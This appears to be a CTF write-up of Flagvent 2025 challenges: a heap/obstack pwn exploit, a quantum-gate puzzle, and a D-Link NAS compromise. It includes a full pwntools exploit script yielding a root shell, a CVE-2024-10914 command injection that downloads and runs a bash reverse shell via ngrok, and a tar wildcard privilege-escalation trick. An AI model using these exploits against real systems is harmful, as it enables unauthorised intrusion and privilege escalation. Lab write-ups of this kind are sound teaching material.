FV25.08

Challenge

FV25.08 - Kellerspeicher aufm Haufen

Kellerspeicher on the Haufen 😇😇😇

hint: maybe look at the decomp / or rendered main.c (cpp -P main.c)

hint: heap exploitation is not required to solve this challenge

Inspired by the CSCG Challenge Kellerspeicher from Diff-fusion.

Categories: pwnPWN
Level: hard
Author: xtea418
Attachments:
📦 kellerspeicher-aufm-haufen.tar.gz
Spawnable Instance: TCPTCP

The download contains the source for the remote instance:

oxdf@hacky$ ls kellerspeicher-aufm-haufen
compose.yaml  Dockerfile  flag.txt  ld-linux-x86-64.so.2  libc.so.6  main  main.c  Makefile

Reversing

Source Analysis

The name “Kellerspeicher aufm Haufen” is German for “stack on the heap”, which describes exactly what this program does. It implements a stack data structure using GNU obstack, which is a heap-based memory allocator.

The source shows the main data structure:

struct keller {
  struct obstack *obs;
  u8 **elements;
  size_t size;
  size_t curr;
};

I’ll run it locally with Docker:

oxdf@hacky$ docker compose -f kellerspeicher-aufm-haufen/compose.yaml up -d --build
[+] Building 1.5s (13/13) FINISHED
 => [internal] load local bake definitions                                                                       0.0s
 => => reading from stdin 432B                                                                                   0.0s
 => [internal] load build definition from Dockerfile                                                             0.0s
 => => transferring dockerfile: 348B                                                                             0.0s
 => [internal] load metadata for docker.io/library/ubuntu:24.04                                                  0.1s
 => [internal] load .dockerignore                                                                                0.0s
 => => transferring context: 2B                                                                                  0.0s
 => [1/6] FROM docker.io/library/ubuntu:24.04@sha256:c35e29c9450151419d9448b0fd75374fec4fff364a27f176fb458d472d  0.0s
 => [internal] load build context                                                                                0.0s
 => => transferring context: 126B                                                                                0.0s
 => CACHED [2/6] RUN apt update && apt install -y socat                                                          0.0s
 => CACHED [3/6] COPY flag.txt /                                                                                 0.0s
 => CACHED [4/6] RUN chmod 444 /flag.txt                                                                         0.0s
 => CACHED [5/6] WORKDIR /app                                                                                    0.0s
 => CACHED [6/6] COPY main libc.so.6 ld-linux-x86-64.so.2 ./                                                     0.0s
 => exporting to image                                                                                           0.0s
 => => exporting layers                                                                                          0.0s
 => => writing image sha256:99626c8aaac5395539e78ec239265b0be231515c53c26fab89df381af70a72b3                     0.0s
 => => naming to docker.io/library/kellerspeicher-aufm-haufen-chal                                               0.0s
 => resolving provenance for metadata file                                                                       0.0s
[+] Running 2/2
 ✔ chal                                         Built                                                            0.0s 
 ✔ Container kellerspeicher-aufm-haufen-chal-1  Started                                                          0.3s 
oxdf@hacky$ nc localhost 1337
Willkommen beim Kellerspeicher System! Bauen sie ihren ersten keller und lagern dort all ihre wichtigen Gegenstände.

Wählen sie eine der folgenden Aktionen:
1.  Bau eines neuen Hauptkellers
2.  Bau eines neuen Nebenkellers
3.  Den Hauptkeller abreisen
4.  Den Nebenkeller abreisen
5.  Ein Element in den Hauptkeller einkellern
6.  Ein Element in den Nebenkeller einkellern
7.  Ein Element aus dem Hauptkeller auskellern
8.  Ein Element aus dem Nebenkeller auskellern
9.  Das System herunterfahren
Ihre Wahl: 

The program provides a menu (in German) to create/destroy two stacks (“Keller” is German for cellar, but “Kellerspeicher” is the German computing term for a stack), and push (einkellern) or pop (auskellern) data from them. There are two stack slots: hauptkeller (main) and nebenkeller (secondary).

The Vulnerability

The vulnerability is in the kellerbau function, which creates a new stack. Menu options 1 and 2 both call kellerbau after prompting for a size. In the source, the allocation looks like:

k->elements = obstack_alloc(k->obs, sizeof(u8 *) * size);

But in the compiled binary, the size calculation overflows:

        00101341 c1 e0 03        SHL        EAX,0x3

The multiplication sizeof(u8 *) * size (which is 8 * size) is performed as a 32-bit integer before being passed to obstack_alloc. With size = 0x20000000 (536870912):

  • 0x20000000 * 8 = 0x100000000
  • As a 32-bit integer, this overflows to 0

The result is that elements gets a 0-byte allocation, but k->size is set to the full 0x20000000. This allows writing pointers far beyond the allocated elements array.

GNU Obstack

GNU obstack is a memory allocation library that provides stack-like allocation within heap chunks. The key structure for exploitation is:

struct obstack {
  long chunk_size;           // +0x00
  struct _obstack_chunk *chunk;  // +0x08
  char *object_base;         // +0x10
  char *next_free;           // +0x18
  char *chunk_limit;         // +0x20
  ...
  void *(*chunkfun)(void *, size_t);  // +0x38 - function pointer!
  void (*freefun)(void *, void *);    // +0x40
  void *extra_arg;           // +0x48
  unsigned use_extra_arg:1;  // +0x50
};

When obstack needs more memory, it calls _obstack_newchunk, which invokes:

if (h->use_extra_arg)
    new_chunk = (*h->chunkfun)(h->extra_arg, new_size);
else
    new_chunk = (*h->chunkfun)(new_size);

If I can control chunkfun, extra_arg, and use_extra_arg, I can call system("/bin/sh").

Exploitation

Heap Leak

First, I need a heap leak to locate hauptkeller’s obstack structure in memory.

  1. Create hauptkeller with size 0x20000000 (triggers the integer overflow, giving a 0-byte elements allocation)
  2. Push data to hauptkeller - the pushed data gets stored in the obstack chunk, and a pointer to it is written to elements[0]
  3. Pop from hauptkeller - this prints the data at elements[0], which contains heap pointers from the obstack internals

When we push “AAAAAAAA” and pop it back, we don’t just get our string - we get whatever was at elements[0], which points into the obstack’s chunk. This gives us a heap address we can use to calculate the location of the chunkfun field at offset +0x38.

from pwn import *

def menu(io):
    io.recvuntil(b'Ihre Wahl: ')

io = remote('localhost', 1337)

# Create haupt with integer overflow (0-byte elements allocation)
menu(io)
io.sendline(b'1')
io.recvuntil(b'Kellers: ')
io.sendline(b'536870912')  # 0x20000000

# Push to haupt
menu(io)
io.sendline(b'5')
io.recvuntil(b'data: ')
io.sendline(b'A' * 8)

# Pop from haupt - leaks heap address
menu(io)
io.sendline(b'7')
io.recvuntil(b'el: ')
heap_leak = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
log.success(f'Heap leak: {hex(heap_leak)}')
oxdf@hacky$ uv run heap_poc.py 
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x5fad9cfc33b0
[*] Closed connection to localhost port 1337

Leak Libc Address

With the heap leak, I can now leak a libc address by corrupting nebenkeller to read from hauptkeller’s chunkfun field (which contains a pointer to malloc).

  1. Create nebenkeller with size 20 (normal allocation, adjacent in memory to hauptkeller)
  2. Push one item to nebenkeller - this sets neben->curr = 1, which is necessary for the pop later. Without this, curr would be 0 and pop would return “empty” without reading from elements.
  3. Push 509 items to hauptkeller - each push writes a pointer to elements[curr++], but since elements has 0 bytes allocated, these writes overflow into adjacent heap memory. After the heap allocations for both kellers, nebenkeller’s keller_t structure sits about 509 pointer-widths (509 * 8 = 4072 bytes) past hauptkeller’s elements array. This offset was found through debugging.
  4. Push a payload that overwrites nebenkeller->elements to point to hauptkeller’s obstack chunkfun field. Since chunkfun is at offset +0x38 in the obstack structure (shown above), heap_leak - 0x38 gives us the address of the chunkfun field.
  5. Pop from nebenkeller - this decrements curr to 0 and reads elements[0]. Since we corrupted elements to point to chunkfun, this reads and prints the malloc address stored there. Obstack uses malloc as its default chunk allocator, so chunkfun points to malloc in libc.
  6. Calculate libc base from the leak
# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "pwntools",
# ]
# ///
from pwn import *

MALLOC_OFFSET = 0xa7930  # Offset of malloc in libc 2.42

def menu(io):
    io.recvuntil(b'Ihre Wahl: ')

io = remote('localhost', 1337, ssl=False)

# Step 1: Create haupt with integer overflow
menu(io)
io.sendline(b'1')
io.recvuntil(b'Kellers: ')
io.sendline(b'536870912')  # 0x20000000 - overflows to 0-byte allocation

# Step 2: Heap leak via push/pop
menu(io)
io.sendline(b'5')  # push to haupt
io.recvuntil(b'data: ')
io.sendline(b'A' * 8)

menu(io)
io.sendline(b'7')  # pop from haupt
io.recvuntil(b'el: ')
heap_leak = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
log.success(f'Heap leak: {hex(heap_leak)}')

# Step 3: Create neben (target for corruption)
menu(io)
io.sendline(b'2')
io.recvuntil(b'Kellers: ')
io.sendline(b'20')

menu(io)
io.sendline(b'6')  # push 1 item to neben
io.recvuntil(b'data: ')
io.sendline(b'N0')

# Step 4: Push 509 items to haupt (overflow towards neben's keller_t)
for i in range(509):
    menu(io)
    io.sendline(b'5')
    io.recvuntil(b'data: ')
    io.sendline(b'X')

# Step 5: Push payload that corrupts neben->elements
chunkfun_addr = heap_leak - 0x38
menu(io)
io.sendline(b'5')
io.recvuntil(b'data: ')
io.sendline(p64(chunkfun_addr) * 6)

# Step 6: Pop from neben to leak libc
menu(io)
io.sendline(b'8')
io.recvuntil(b'el: ')
malloc_addr = u64(io.recvline().rstrip(b'\n')[:6].ljust(8, b'\x00'))
libc_base = malloc_addr - MALLOC_OFFSET
log.success(f'Libc base: {hex(libc_base)}')

It works!

oxdf@hacky$ uv run libc_poc.py
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x5ee93ac223b0
[+] Libc base: 0x731569166000
[*] Closed connection to localhost port 1337

To verify these leaks are correct: the libc base should be page-aligned (ending in 000), which 0x731569166000 is. The heap leak is implicitly verified by the libc leak succeeding - if the heap address was wrong, heap_leak - 0x38 would point to the wrong place and the libc leak would fail.

RCE

To get RCE, I’ll:

  1. Pop hauptkeller twice to set curr = 509. After the 509 pushes + 1 corruption payload push from the libc leak phase, curr = 511. Popping twice gets us back to curr = 509, so the next push writes to elements[509].
  2. Push a fake obstack structure to hauptkeller - this writes to elements[509]. We established earlier that nebenkeller’s keller_t structure sits at this location. Since obs is the first field in the keller struct (offset +0x00), writing here overwrites the obs pointer to point at our fake obstack data.
  3. The fake obstack has:
    • chunkfun = system
    • extra_arg = address of "/bin/sh"
    • use_extra_arg = 1
    • next_free = chunk_limit - obstack checks if there’s room for new data by comparing these; when they’re equal, there’s no room and it calls _obstack_newchunk
  4. Push to nebenkeller - since neben->obs now points to our fake obstack with next_free = chunk_limit, any push triggers _obstack_newchunk, which calls chunkfun(extra_arg, size) = system("/bin/sh")

The offsets for the bundled libc 2.42 can be found with readelf:

oxdf@hacky$ readelf -s kellerspeicher-aufm-haufen/libc.so.6 | grep -E ' malloc$| system$'
  2692: 00000000000a7930   177 FUNC    WEAK   DEFAULT   16 malloc
  2799: 0000000000053ac0    45 FUNC    WEAK   DEFAULT   16 system
oxdf@hacky$ strings -t x kellerspeicher-aufm-haufen/libc.so.6 | grep /bin/sh
 1afebc /bin/sh

The full exploit is:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "pwntools",
# ]
# ///
import sys
from pwn import *

context.arch = "amd64"

# Libc 2.42 offsets
MALLOC_OFFSET = 0xA7930
SYSTEM_OFFSET = 0x53AC0
BINSH_OFFSET = 0x1AFEBC

KELLER_DIR = "/home/oxdf/flagvent2025/day08/kellerspeicher-aufm-haufen"


def menu(io):
    io.recvuntil(b"Ihre Wahl: ")


if len(sys.argv) > 1:
    # Remote: domain provided as argument
    io = remote(sys.argv[1], 31337, ssl=True)
else:
    # Local
    #io = process([f"{KELLER_DIR}/ld-linux-x86-64.so.2", "--library-path", KELLER_DIR, f"{KELLER_DIR}/main"])
    io = remote('localhost', 1337)

# Create haupt with integer overflow (0-byte elements allocation)
menu(io)
io.sendline(b"1")
io.recvuntil(b"Kellers: ")
io.sendline(b"536870912")  # 0x20000000

# Get heap leak via push/pop
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(b"H" * 8)

menu(io)
io.sendline(b"7")
io.recvuntil(b"el: ")
data = io.recvline().rstrip(b"\n")
heap_leak = u64(data[:6].ljust(8, b"\x00"))
log.success(f"Heap leak: {hex(heap_leak)}")

# Create neben (target for corruption)
menu(io)
io.sendline(b"2")
io.recvuntil(b"Kellers: ")
io.sendline(b"20")

# Push 1 item to neben
menu(io)
io.sendline(b"6")
io.recvuntil(b"data: ")
io.sendline(b"N0")

# Push 509 items to haupt (overflow towards neben's keller_t)
p = log.progress("Pushing to haupt")
for i in range(509):
    p.status(f"{i+1}/509")
    menu(io)
    io.sendline(b"5")
    io.recvuntil(b"data: ")
    io.sendline(b"X")
p.success("done")

# Push corruption payload (overwrites neben->elements)
chunkfun_addr = heap_leak - 0x38
payload = p64(chunkfun_addr) * 6
menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(payload)

# Pop from neben to leak libc (reads malloc ptr from chunkfun)
menu(io)
io.sendline(b"8")
io.recvuntil(b"el: ")
data = io.recvline().rstrip(b"\n")
malloc_addr = u64(data[:6].ljust(8, b"\x00"))
libc_base = malloc_addr - MALLOC_OFFSET

log.success(f"libc base: {hex(libc_base)}")

system_addr = libc_base + SYSTEM_OFFSET
binsh_addr = libc_base + BINSH_OFFSET

# Pop haupt twice to set curr = 509
menu(io)
io.sendline(b"7")
io.recvline()
menu(io)
io.sendline(b"7")
io.recvline()

# Push fake obstack (overwrites neben->obs at elements[509])
fake_obstack = b""
fake_obstack += p64(0x1000)  # chunk_size
fake_obstack += p64(heap_leak)  # chunk
fake_obstack += p64(heap_leak)  # object_base
fake_obstack += p64(heap_leak)  # next_free = chunk_limit (triggers newchunk)
fake_obstack += p64(heap_leak)  # chunk_limit
fake_obstack += p64(0xF)  # alignment_mask
fake_obstack += p64(0)  # temp
fake_obstack += p64(system_addr)  # chunkfun = system
fake_obstack += p64(0)  # freefun
fake_obstack += p64(binsh_addr)  # extra_arg = /bin/sh
fake_obstack += p64(1)  # use_extra_arg = 1

menu(io)
io.sendline(b"5")
io.recvuntil(b"data: ")
io.sendline(fake_obstack)

# Trigger shell via push to neben
menu(io)
io.sendline(b"6")
io.recvuntil(b"data: ")
io.sendline(b"A")  # Triggers _obstack_newchunk -> system("/bin/sh")

io.interactive()

It works locally:

oxdf@hacky$ uv run exploit.py 
[+] Opening connection to localhost on port 1337: Done
[+] Heap leak: 0x57fa0b4993b0
[+] Pushing to haupt: done
[+] libc base: 0x755065a36000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
9aa68175dc66
$ cat /flag.txt
FV25{local_flag}

Running this against the remote target works:

oxdf@hacky$ uv run exploit.py 973b540c-9ebc-4ed4-802d-175554dfa16a.challs.flagvent.org
[+] Opening connection to 973b540c-9ebc-4ed4-802d-175554dfa16a.challs.flagvent.org on port 31337: Done
[+] Heap leak: 0x55852408c3b0
[+] Pushing to haupt: done
[+] libc base: 0x7f834fb0c000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
kellerspeicher-aufm-haufen
$ cat /flag.txt
FV25{1m_1nt3r3st3d_1n_h0w_ppl_s0lv3d_th1s}

I’ve added the progress bar for leaking libc since it takes a couple minutes on remote, eventually giving the flag.

Flag: FV25{1m_1nt3r3st3d_1n_h0w_ppl_s0lv3d_th1s}

FV25.09

Challenge

FV25.09 - Quantum Elves

Oh no! Four of Santa’s elves accidentally fell into a quantum transformer - a “gift” for a physicist. Now, the elves are in a strange quantum state: if we peek inside, either all of them are alive or all of them are… not. Luckily, you can program the machine using three magical operations:

  • Elf Inverter (X) – flips an elf from alive ↔ dead
  • Controlled Elf Inverter (CX) – flips one elf depending on the state of another
  • Elf Superpositioner (H) – puts an elf in a delicate “maybe alive, maybe dead” state

The elves are numbered 0 to 3. Input your operations like this: operation:elf_index For CX, separate the two elves with a comma: CX:control,target Chain multiple operations with pipes, for example: H:0|CX:3,1|X:2 Your mission: help Santa get all the elves into a state where they will be alive 100% of the time.

Categories: funFUN
Level: hard
Author: villambarna
Spawnable Instance: WebWeb

Solution

Website

The site presents a box to input operations:

image-20251213153044147

First, I’ll see what happens if I submit an empty form (no operations). The response is:

image-20251213153737381

The result array shows the probability of each elf being alive. Each has a 50% chance of being alive. This matches the problem description - they’re in a superposition where they could be alive or dead. The key insight from the problem is that they’re entangled: when we measure, they’ll ALL be alive or ALL be dead together.

I need to get all elves at 100% alive probability, or [1.0,1.0,1.0,1.0].

If I give it the example set of operations, it returns:

image-20251213153103683

Still 50% alive for each elf.

Quantum Gates

Each elf can be alive, dead, or 50/50. We know that at the start they are all the same, but we don’t know which, so they are all in superposition or 50/50 (as shown above with no operations).

The three available gates (operations) are:

Gate Description
X Flips the state: alive → dead, or dead → alive. If it’s in superposition, it stays there.
H Puts something in superposition (50/50) OR collapses a superposition back to a definite state. Applying H to a definite state gives 50/50, and applying H to a 50/50 state gives a definite state back (though we don’t know which).
CX Takes two qubits: a “control” and a “target”. If the control is \

GHZ State

The elves are in what’s called a GHZ state (named after physicists Greenberger, Horne, and Zeilinger):

|ψ⟩ = (|0000⟩ + |1111⟩) / √2

In plain English: there’s a 50% chance all elves are dead (0000) and a 50% chance all elves are alive (1111). No other possibilities exist - they’re perfectly correlated.

A GHZ state is typically built like this:

  1. Start with all qubits at |0⟩ (all dead)
  2. Apply H to qubit 0 → now qubit 0 is in superposition (50/50), others still definitely dead
  3. Apply CX from qubit 0 to qubit 1 → now if qubit 0 is alive, qubit 1 flips to alive too (they’re entangled)
  4. Apply CX from qubit 0 to qubit 2 → qubit 2 now entangled
  5. Apply CX from qubit 0 to qubit 3 → qubit 3 now entangled

The result is that all 4 qubits are entangled and they’ll all measure the same.

Solve

To undo a GHZ state, I need to reverse the steps. Quantum operations are reversible. CNOT is its own inverse (applying it twice returns to the original state), and H is also its own inverse.

I’ll apply CNOT gates from qubit 0 to the others, then H on qubit 0:

CX:0,1|CX:0,2|CX:0,3|H:0

The response is:

image-20251213155450410

This is very close! All zeros means all elves are definitely dead (0% alive). The CNOT gates disentangled the qubits, and the H gate collapsed qubit 0’s superposition. But it collapsed to the |0⟩ (dead) state, and since I applied CNOTs, all the other qubits also ended up as |0⟩ (dead).

This is a definite state (no more superposition), but it’s the wrong one. The X gate flips dead ↔ alive, so I’ll add X gates to flip all 4 elves:

CX:0,1|CX:0,2|CX:0,3|H:0|X:0|X:1|X:2|X:3

The response:

image-20251213155522992

All elves are now 100% alive, and there’s the flag.

Flag: FV25{Qu4ntum_c0mput1ng_1s_fun!}

FV25.10

Challenge

FV25.10 - Santa's old NAS

Rudolph found Santas old NAS. Somehow the factory reset did not work as expected.

Categories: webWEB linuxLINUX forensicsFORENSICS
Level: hard
Author: lukyluke_ch
Spawnable Instance: WebWeb

The spawnable presents a website with a login to a D-Link ShareCenter:

image-20251213160051491

Shell as www-data

CVE-2024-10914

Searching for vulnerabilities in D-Link NAS systems, I’ll find references to CVE-2024-10914:

image-20251213160704944

CVE-2024-10914 is a command injection vulnerability in account_mgr.cgi. The name parameter in the cgi_user_add command is not properly sanitized.

This post goes into details, and includes a POC, which I can try here:

oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';id;'"
uid=33(www-data) gid=33(www-data) groups=33(www-data),995(crontab)

Shell

Getting a shell here is tricky, only because I need multiple servers that can be reached from the target. Trying to send commands that involve redirection or pipe doesn’t work through this command injection. So I’m going to upload a shell script and then run it in two separate commands.

I’ll write an ngrok config that looks like this:

version: "3"
agent:
  authtoken: <redacted>

tunnels:
  web:
    proto: http
    addr: 80
  shell:
    proto: tcp
    addr: 443

Now I’ll run ngrok start --config ngrok.yml --all, and it returns:

Session Status                online
Account                       0xdf (Plan: Free)
Version                       3.34.1
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://0.tcp.ngrok.io:19069 -> localhost:443
Forwarding                    https://7df52781f98b.ngrok-free.app -> http://localhost:80

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00

Now I have a webserver and a TCP listener.

I’ll write a simple shell:

#!/bin/bash

bash -i >& /dev/tcp/0.tcp.ngrok.io/19069 0>&1

Now I’ll fetch it using the command injection:

oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';curl+https://7df52781f98b.ngrok-free.app/shell.sh+-o+shell.sh;'"

This will write the shell as shell.sh in the same directory. On running, there’s a request at my Python webserver:

127.0.0.1 - - [13/Dec/2025 21:22:41] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [13/Dec/2025 21:23:52] "GET /shell.sh HTTP/1.1" 200 -

Now I’ll run it:

oxdf@hacky$ curl -k "https://cf5b1132-1052-45b4-8c36-b224f5e97709.challs.flagvent.org:31337/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';bash+shell.sh;'"

This command just hangs, but there’s a shell at my listening nc:

oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 127.0.0.1 54882
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web:/var/www/cgi-bin$ 

I’ll upgrade the shell using the standard trick:

www-data@web:/var/www/cgi-bin$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@web:/var/www/cgi-bin$ ^Z
[1]+  Stopped                 nc -lvnp 443
oxdf@hacky$ stty raw -echo; fg
nc -lvnp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@web:/var/www/cgi-bin$ 

Shell as santa

Enumeration

There’s one user with a home directory in /home:

www-data@web:/home$ ls
santa

For some reason, www-data has a shell set in passwd along with santa and root:

www-data@web:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
santa:x:1000:1000:Santa's NAS:/home/santa:/bin/bash

There’s an interesting file in /var/log:

www-data@web:/var/log$ ls
README            apt   dpkg.log  journal  lighttpd  santas.cron.log
alternatives.log  btmp  exim4     lastlog  private   wtmp

santas.cron.log shows entries for every minute at :01 second:

Sat Dec 13 21:26:01 UTC 2025    Create Backup every minute from /mnt/disks

There’s a script in /var/spool/cron:

www-data@web:/var/spool/cron$ ls
crontabs  santa_backup.sh

www-data can’t read in crontabs, but the script is:

#!/usr/bin/env bash
echo -e "$(date)\tCreate Backup every minute from /mnt/disks"
cd /mnt/disks
/usr/bin/tar -czf /home/santa/backup.tgz *

Tar Wildcard Injection

The backup script uses a wildcard * with tar, which is vulnerable to argument injection. www-data can write to /mnt/disks:

www-data@web:/mnt/disks$ ls -la
total 8
drwxrwxrwx 2 www-data www-data 4096 Nov 29 09:07 .
drwxr-xr-x 3 root     root     4096 Nov 29 09:07 ..

I can create files that tar interprets as command-line options. I’ll write a script to create a SetUID copy of bash and create the checkpoint files:

www-data@web:/mnt/disks$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee sploit.sh
#!/bin/bash

cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf
www-data@web:/mnt/disks$ touch -- --checkpoint=1
www-data@web:/mnt/disks$ touch -- '--checkpoint-action=exec=sh sploit.sh'
www-data@web:/mnt/disks$ ls 
'--checkpoint-action=exec=sh sploit.sh'  '--checkpoint=1'   keep   sploit.sh

When the cron runs, tar expands the wildcard to:

tar -czf /home/santa/backup.tgz --checkpoint=1 --checkpoint-action=exec=sh sploit.sh sploit.sh

This executes sploit.sh as santa. After waiting up to a minute, there’s a file at /tmp/0xdf:

www-data@web:/mnt/disks$ ls -l /tmp/0xdf 
-rwsrwsrwx. 1 santa santa 1298416 Dec 13 21:44 /tmp/0xdf

It’s owned by santa and SetUID and SetGID. Running it with -p gives a shell with effective uid and gid as santa:

www-data@web:/mnt/disks$ /tmp/0xdf -p
0xdf-5.2$ id
uid=33(www-data) gid=33(www-data) euid=1000(santa) egid=1000(santa) groups=1000(santa),33(www-data),995(crontab)

Collect Flag

Santa’s PowerShell History

As santa, I’ll enumerate the home directory:

0xdf-5.2$ ls -la
total 20
drwx------. 1 santa santa   24 Dec 13 20:59 .
drwxr-xr-x. 1 root  root    19 Dec  7 21:26 ..
-rw-r--r--. 1 root  root   310 Dec  7 21:25 .bash_history
-rw-r--r--. 1 santa santa  220 Jul 30 19:28 .bash_logout
-rw-r--r--. 1 santa santa 3526 Jul 30 19:28 .bashrc
drwxr-xr-x. 1 root  root    19 Dec  7 21:26 .local
-rw-r--r--. 1 santa santa  807 Jul 30 19:28 .profile
-rw-rw-r--. 1 santa santa  198 Dec 13 21:45 backup.tgz

The .bash_history file shows santa installing PowerShell:

0xdf-5.2$ cat .bash_history 
source /etc/os-release
wget -q https://packages.microsoft.com/config/debian/$VERSION_ID/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y powershell
pwsh
sudo apt-get purge -y powershell
rm -Rf ~/.config/powershell/

There’s a PowerShell history file in .local:

0xdf-5.2$ cat .local/share/powershell/PSReadLine/santas.pwsh_history 
$ResourceGroup = "rg-flagvent25"
$ContainerName = "santasfv25storage"
Get-AzStorageAccount -Name $ContainerName
Get-AzStorageAccount -Name $ContainerName -ResourceGroupName $ResourceGroup
$Account = Get-AzStorageAccount -Name $ContainerName -ResourceGroupName $ResourceGroup
$Blob = Get-AzStorageBlob -Context $Account.Context -Container "santas-fv25-container"
$Blob
$Flag = @{
 File = '/home/santa/flag.txt'
 Container = $ContainerName
 Blob = 'naughty-list.txt'
 Context = $Context
 StandardBlobTier = 'Cool'
}
$Rudolph = @{
 File = '/home/santa/secret.png'
 Container = $ContainerName
 Blob = 'secure/santas_login_code.png'
 Context = $Context
 StandardBlobTier = 'Cool'
}
Set-AzStorageBlobContent @Flag
Set-AzStorageBlobContent @Rudolph
$Context = $Account.Context
Set-AzStorageBlobContent @Rudolph
$Flag = @{
 File = '/home/santa/flag.txt'
 Container = $ContainerName
 Blob = 'naughty-list.txt'
 Context = $Context
 StandardBlobTier = 'Cool'
}
Copy-Item -Path "/home/santa/backup.tgz" -Destination "/mnt/backup/2024/12-24/"
$Rudolph = @{
 File = '/home/santa/secret.png'
 Container = $ContainerName
 Blob = 'secure/santas_login_code.png'
 Context = $Context
 StandardBlobTier = 'Cool'
}
Set-AzStorageBlobContent @Rudolph
Set-AzStorageBlobContent @Flag
Get-AzStorageBlob -Context $Account.Context -Container "santas-fv25-container"
Remove-Item /home/santa/secret.png
Remove-Item /home/santa/flag.txt
Start-Process "https://shorter.me/rSJPF"
Get-AzKeyVault -VaultName "kv-fv25-mrs-claus"
Get-AzKeyVaultSecret -VaultName "kv-fv25-mrs-claus" -Name "santas-secret"

There’s a bunch of interaction with Azure blob storage that is just a red herring for this challenge. The important line is:

Copy-Item -Path "/home/santa/backup.tgz" -Destination "/mnt/backup/2024/12-24/"

/mnt/backup

There is not backup directory in /mnt:

0xdf-5.2$ ls -la /mnt/
total 0
drwxr-xr-x. 1 root     root     19 Dec  7 21:26 .
drwxr-xr-x. 1 root     root     73 Dec 14 02:19 ..
drwxr-xr-x. 1 www-data www-data 90 Dec 14 02:21 disks

There’s nothing mounted with that name at all:

0xdf-5.2$ mount | grep backup
0xdf-5.2$

Checking /etc/fstab for mount points reveals the backup was stored at https://ranta.ch/fv25/backup/2024/12-24/backup.tgz:

# UNCONFIGURED FSTAB FOR BASE SYSTEM
#https://ranta.ch/fv25/backup /mnt/backup davfs rw,auto,user,uid=santa,gid=santa,_netdev 0 0

It’s been commented out (which is why it’s not mounted now).

Recover Backup

Visiting https://ranta.ch/fv25/backup shows restricted access:

image-20251213212553821

Still, I can access the file referenced in the PowerShell history:

oxdf@hacky$ wget https://ranta.ch/fv25/backup/2024/12-24/backup.tgz
--2025-12-14 02:26:37--  https://ranta.ch/fv25/backup/2024/12-24/backup.tgz
Resolving ranta.ch (ranta.ch)... 5.226.144.234
Connecting to ranta.ch (ranta.ch)|5.226.144.234|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35633 (35K) [application/x-tar]
Saving to: ‘backup.tgz’

backup.tgz          100%[===================>]  34.80K   162KB/s    in 0.2s    

2025-12-14 02:26:38 (162 KB/s) - ‘backup.tgz’ saved [35633/35633]
oxdf@hacky$ tar xf backup.tgz 
oxdf@hacky$ ls backup
Santa.png

Decode the QR Code

The Santa.png is a QR code with a Christmas tree overlay:

It decodes to:

oxdf@hacky$ zbarimg Santa.png
QR-Code:AWNL132uCM9fWjtqha9E1WNht6Y7mV6W5XFAk

The string is Base58 encoded, which CyberChef can decode to get the flag:

image-20251213212857597

Flag: FV25{Alw@ys-P4tch-Y0ur-NAS}

FV25.H2

Challenge

FV25.H2 - Santa's Secret Tree

This extra flag is hidden inside another challenge.

Categories: hiddenHIDDEN
Level: hidden
Author: hidden

Solution

There’s a hidden flag on the file system of the NAS from day 10. The title hints at a tree, and the admins hinted at it more:

image-20251221174346891

On the NSA, there’s a JQuery plugin called jQueryFileTree:

www-data@web:/var/www/web/jquery/jqueryFileTree$ ls 
css  images  js

There’s nothing interesting in the text files. There are a bunch of images:

www-data@web:/var/www/web/jquery/jqueryFileTree$ ls -l images/
total 136
-rwxr-xr-x. 1 www-data www-data  837 Dec  7 21:25 add.png
-rwxr-xr-x. 1 www-data www-data  464 Dec  7 21:25 application.png
-rwxr-xr-x. 1 www-data www-data  828 Dec  7 21:25 close.png
-rwxr-xr-x. 1 www-data www-data  603 Dec  7 21:25 code.png
-rwxr-xr-x. 1 www-data www-data  618 Dec  7 21:25 css.png
-rwxr-xr-x. 1 www-data www-data  579 Dec  7 21:25 db.png
-rwxr-xr-x. 1 www-data www-data  537 Dec  7 21:25 directory.png
-rwxr-xr-x. 1 www-data www-data  651 Dec  7 21:25 doc.png
-rwxr-xr-x. 1 www-data www-data  294 Dec  7 21:25 file.png
-rwxr-xr-x. 1 www-data www-data  653 Dec  7 21:25 film.png
-rwxr-xr-x. 1 www-data www-data  217 Dec  7 21:25 first.gif
-rwxr-xr-x. 1 www-data www-data  582 Dec  7 21:25 flash.png
-rwxr-xr-x. 1 www-data www-data  583 Dec  7 21:25 folder_open.png
-rwxr-xr-x. 1 www-data www-data  734 Dec  7 21:25 html.png
-rwxr-xr-x. 1 www-data www-data  633 Dec  7 21:25 java.png
